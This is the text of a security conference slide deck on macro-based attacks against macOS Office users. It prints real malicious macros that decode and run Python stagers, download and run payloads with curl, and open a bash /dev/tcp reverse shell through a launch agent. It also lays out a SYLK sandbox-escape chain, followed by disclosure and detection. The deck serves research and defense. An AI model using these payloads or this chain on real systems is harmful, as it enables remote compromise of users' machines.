Office Drama
...on macOS
Evil Office Docs!

- History
- Analysis
- Exploit Chain
- Defense
Recent History

macro based attacks, targeting macOS
Macros...defined

Macro:
"A macro is a series of commands & instructions that you group together as a single command to accomplish a task automatically" - Microsoft

MSOffice document + code
+ macro code (VBScript)

tl;dr: add code to documents

Sub AutoOpen()
    MsgBox "Hello World!", 0, "Title"
End Sub
MACROS

...of course (ab)used by attackers

The Melissa Virus
An $80 Million Cyber Crime in 1999 Foreshadowed Modern Threats

Two decades ago, computer viruses—and public awareness of the tricks used to unleash them—were still relatively new notions to many Americans.

One attack would change that in a significant way.

In late March 1999, a programmer named David Lee Smith hijacked an America Online (AOL) account and used it to post a file on an Internet newsgroup named “alt.sex.” The posting promised dozens of free passwords to fee-based websites with adult content. When users took the bait, downloading the document and then opening it with Microsoft Word, a virus was unleashed on their computers.

On March 26, it began spreading like wildfire across the Internet.

-----► though mitigations...
Macros now on macOS?

Apple’s share of global computer market grows

Mac adoption at SAP doubles as Apple enterprise reach grows

malicious & potentially unwanted files for macOS (Kasperksy)

more macs...

more mac malware...
2017

*macro attack*

"New Attack, Old Tricks"

*objective-see.com/blog/blog_0x17.html*

"U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm"

discovery & (limited) detection
2018 macro attack

"Bitcoin Magazine-Quidax_InterviewQuestions_2018.docm"

sandbox escape!

download & exec 2nd-stage (python) payload

discovery & (limited) detection

"Word to Your Mac"
objective-see.com/blog/blog_0x3A.html
2019 macro attack

"Cryptocurrency businesses still being targeted by Lazarus"
securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus

infected document
(credit: kaspersky)

"샘플_기술사업계획서 (벤처기업평가용).doc"

download & exec
2nd-stage (mach-O) payload

is mac?
Analysis
understanding macro based attacks
**Extracting Embedded Macros**

oletools, ftw

Installation/Usage:

$ sudo pip install -U oletools

$ olevba -c <path/to/document>

AutoOpen() *(automatically) runs after you open a new document* 

Macro Extraction:

```
Sub AutoOpen()
    MsgBox "Hello World!", 0, "Title"
End Sub
```

"Description of behaviors of AutoExec & AutoOpen macros"

ANALYSIS: "U.S. Allies & Rivals Digest Trump's Victory"

$ olevba -c "U.S. Allies and Rivals Digest Trump's Victory.docm"

VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin

---

Sub autoopen()
  Fisher
End Sub

Public Sub Fisher()
  Dim result As Long
  Dim cmd As String
  cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
  cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
  ... result = system("echo ""import sys,base64;exec(base64.b64decode(" & cmd & ")";" | python &")
End Sub

Fisher() embedded macros

'Fisher' subroutine: automatically executed

Sub 'Fisher()':
1) concat base64-encoded str.
2) decode & exec via python

via 'autoopen'
$ python
>>> import base64
>>> cmd = 'ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppXBy ...
>>> base64.b64decode(cmd)
...,
dXFprvsgMBSl5yPF = 'atfMzZOqVLbcj'
import ssl;
import sys, urllib2;
import re, subprocess;

cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
    sys.exit()
...

a = o.open('https://www.securitychecking.org:443/index.asp').read();
key = 'fff96aed07cb7ea65e7f031bd714607d';
S, j, out = range(256), 0, []
for i in range(256):
    j = (j + S[i] + ord(key[i % len(key)])) % 256
    S[i], S[j] = S[j], S[i]
...
exec('').join(out)

decoded python code
...looks familiar!?
`Private Sub Document_Open()` triggers automatic execution

1. Decode & exec via python

2. Create `~$com.xpnsec.plist`
```python
$ python
>>> import base64
>>> payload = "aW1wb3J0IHNvY2tldCxzdBj1Y3Qs3IgeCBpbiByYW5n...30pCg=="
>>> base64.b64decode(payload)
"import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('109.202.107.20',9622))
        break
    except:
        time.sleep(5)
    l=struct.unpack('>I',s.recv(4))[0]
    d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})"
```
**ANALYSIS:**

"BitcoinMagazine-Quidax_InterviewQuestions_2018"

```python
path = Environ('HOME') & "/../../../../Library/LaunchAgents/$com.xpnsec.plist
arg = "<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC ...">
<plist version="1.0">
<key>Label</key>
<string>com.xpnsec.sandbox</string>
... "</plist>
Result = system("echo "" & arg & "" > "" & path & "", "r")
```

embedded macro code ..."stolen"!?

---

Adam's PoC

```
$ codesign --display -v --entitlements - "Microsoft Word.app"
com.apple.security.temporary-exception.sbpl
{allow file-read* file-write*}
(requires-any
(requires-all vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$")
)}
```

"...allows us to create a file anywhere on the filesystem as long as it ends with ~$something"

-(Adam Chester)

---

sandbbox escape via

/Library/LaunchAgents/~$com.xpnsec.plist

---

"Escaping the Microsoft Office Sandbox"

objective-see.com/blog/blog 0x35.html
**Analysis:**

" sampol_기술사업계획서 (벤처기업평가용).doc"

```vba
Sub AutoOpen()
  ...
  #If Mac Then
  sur = "https://nzssdm.com/assets/mt.dat"
  ...
  res = system("curl -o " & spath & " " & sur)
  res = system("chmod +x " & spath)
  res = popen(spath, "r")
End Sub
```

- download payload (via curl)
- set executable (via chmod +x)
- execute (via popen)

'Lazarus APT Targets Mac Users with Poisoned Word Document'

[link](https://labs.sentinelone.com/lazarus-apt-targets-mac-users-poisoned-word-document/)
Advanced Exploitation

a ‘0-click’ macro based attack
CURRENT ATTACKS
...rather lame (and dysfunctional?)

$ log stream
Error kernel: (Quarantine) exec of /private/tmp/backdoor denied
...since it was quarantined by Microsoft Word and created without user consent

quarantine attribute + notarizations
**AUTOMATIC MACRO EXECUTION**

*...with no alerts*

"In Office 2011 for Mac, XLM Macro's in Sylk files are auto executed (no protected mode or macro prompt)"

- The MS Office Magic Show" (2018), Pieter Ceelen & Stan Hegt

---

-Excel 2019

**macro security**

- The Microsoft Office (2016, 2019) for Mac option "Disable all macros without notification" enables XLM macros **without prompting**...

-CERT, vulnerability note VU#125336 (11/2019)
XLM Macros in SYLK files

...olllld file format!

XLM: macro language predating VBA

SYLK (.slk) files
SYmbolic LinK, (1980s file format)

PoC.slk: spawn calc (via XLM)

"Abusing the SYLK file format"
outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/
Sandbox Bypass
...macros are (now) sandboxed

$ codesign --display -v --entitlements -v "Microsoft Word.app"
com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(requiere-any
(requiere-all (vnode-type REGULAR-FILE) (regex "^/\~\$/[^/]+$")))
)

...now patched

"...allows us to create a file anywhere on the filesystem as long as it ends with ~$something"
-(Adam Chester)

Word's (Office) Sandbox Profile

"In a sandboxed application, child processes created with the Process class inherit the sandbox of the parent app" -Apple
Sandbox Bypass

...download & execute; allowed

escape?

sandbox allows:
- network comms
- script execution

sandboxed

curl / python...allowed!
#create (CF)URL to app (e.g. Terminal.app)

```python
appURL = CoreFoundation.CFURLCreateWithFileSystemPath(
    kCFAllocatorDefault, path2App.get_ref(),
    kCFURLPOSIXPathStyle, 1)
```

#get the list of (existing) login items

```python
items = CoreServices.LSSharedFileListCreate(
    kCFAllocatorDefault,
    kLSSharedFileListSessionLoginItems, None)
```

#add app to list of login items

```python
CoreServices.LSSharedFileListInsertItemURL(
    loginItems, kLSSharedFileListItemLast,
    None, None, appURL, None, None)
```

~$ escape.py

# TrueTree
/System/Library/LaunchDaemons/com.apple.loginwindow.plist
/System/Library/CoreServices/loginwindow.app
/System/Applications/Utilities/Terminal.app

loginwindow -> login items
(TrueTree, J. Bradley)

un-sandboxed!
QUARANTINED / NOTARIZATION
...macros are (now) sandboxed

can't pass args to login items :
...just persist our own (payload)?

any created payload: com.apple.quarantine
(can't $ xattr -rc in sandbox)
an idea

Q UARANTINED / N OTARIZATION

...an idea

a launch agent:
- run apple binary
- pass arguments!

avoid `com.apple.quarantine`

creation launch agents: disallowed!

<sandbox rule>
01 <xml version="1.0" encoding="UTF-8"?>
02 <plist version="1.0">
03 <dict>
04  <key>ProgramArguments</key>
05  <array>
06   <string>/bin/bash</string>
07   <string>-c</string>
08   <string>/bin/bash -i &gt;&amp; /dev/tcp&lt;/attacker ip&gt;/8080 0&gt;&amp;1</string>
09  </array>
10 ...

reverse shell, via bash

creating launch agents: disallowed!
QUARANTINED / NOTARIZATION
...an idea

- ✔ sandbox escape
- ✗ ...apple only, with no args
- ✔ quarantine 'bypass'
- ✗ ...but can't create (from sandbox)

...must find a way for an apple binary (with no arguments), to create a launch agent for us!
Q: what happens if we "persist" a .zip file?!

A: macOS invokes its default handler!

(apple binary, outside the sandbox)

$ lsregister -dump
...
rank:               Default
bundle:             Archive Utility
bindings:           public.zip-archive, .zip

~Library/~$payload.zip

Archive Utility

LaunchAgents/
foo.plist

launch agent "created"
**Full Exploit Chain**
"remotely" infecting macOS

1. **user opens .slk file**
2. downloads & "persists" ~$payload.zip
3. LaunchAgents/
   on (next) login, "Archive Utility" invoked & unzips ...
4. creating launch agent
   on (next) login, launch agent runs ...reverse shell!
FULL EXPLOIT CHAIN
an "unsandboxed" reverse shell ... game over!

launch agent (reverse shell, via bash)

$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.15.1
BuildVersion: 19B88

works on fully patched macOS 10.15.1 too

Patrick Wardle 2:08 PM
haha #neverchange
going to see if I can install some repurposed malware (unsigned & unnotarized)

Jaron Bradley 2:06 PM
I like how it still says OS X

final payload: (repurposed) OSX.WindTail

runs outside sandbox

can download & unquarantine files!

.plist version="1.0">
<dict>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>/bin/bash -i &gt;&amp; /dev/tcp/&lt;attacker ip&gt;/8080 0&gt;&amp;1</string>
</array>
</dict>
...

OSX.WindTail
Defense

protection against macro based attacks
Microsoft & Apple

Fixes & Bug Reports

CVE-2019-1457 (Microsoft Office Excel Security Feature Bypass)
Security Vulnerability

macro bug
patched: CVE-2019-1457

Microsoft Office (macOS) Sandbox Escape

Patrick Wardle
Fri 11/8/2019 10:33 AM
secure@microsoft.com; Josh Stein
writeup_MICROSOFT.pdf
255 KB

Aloha,
I've uncovered a sandbox escape affecting the latest versions of Microsoft Office on macOS.

Microsoft Security Response Center <secure@microsoft.com>
Tue 11/19/2019 1:18 PM
Hi Security Researcher,
Thank you for your submission. We determined your finding is valid but is a known issue on the Apple side.

"is a known issue ...on the Apple side" ?

Full report to Apple
patched: 10.15.3

Full report to Apple
patched: 10.15.3
Excel (pid: 1406) spawning curl & python!?
# Detection

## File Monitoring (persistence)

```
# ./fileMonitor
{
    "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
    "file" : {
        "destination" : "~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm",
        "path" : "/System/Library/CoreServices/backgroundtaskmanagementagent",
    }
}
```

### Login Item Persistence (backgrounditems.btm)

- **Non-app login item!**
- **Suspicious persistence!**

---

"Block Blocking Login Items"

[objective-see.com/blog/blog_0x31.html](objective-see.com/blog/blog_0x31.html)
Generic detected malware via JamfProtect (MonitorKit + Apple's game engine)

...in the news

Apple's game (logic) engine

Alerts and actions (alert, log, etc)
Conclusion
**TAKE AWAYS**

1. **Macro attacks** targeting macOS users

2. **Ensure your macOS systems are protected by a behavior-based security tool!**
MAHALO!

“Friends of Objective-See”

jamf

PATRICK.WARDLE@JAMF.COM

Airo

Guardian Mobile Firewall

SecureMac

SmugMug

iVerify

Digital Guardian

Sophos

Halo Privacy
Announcing: "The Art of Mac Malware"

Free (online) books

Volume 0x1: Analysis

- Infection vectors
- Methods of persistence
- Analysis tools & techniques

Author: P. Wardle

Visit: https://taommm.org
Office Drama

@patrickwardle

Images:
- wirdou.com/
- github.com/aris-t2

Resources:
- 'Cryptocurrency Businesses Still Being Targeted by Lazarus' - Kaspersky
- 'Abusing the SYLK File Format' - Pieter Ceelen & Stan Hegt Pitts
- 'Lazarus APT Targets Mac Users With Poisoned Word Document' - Phil Stokes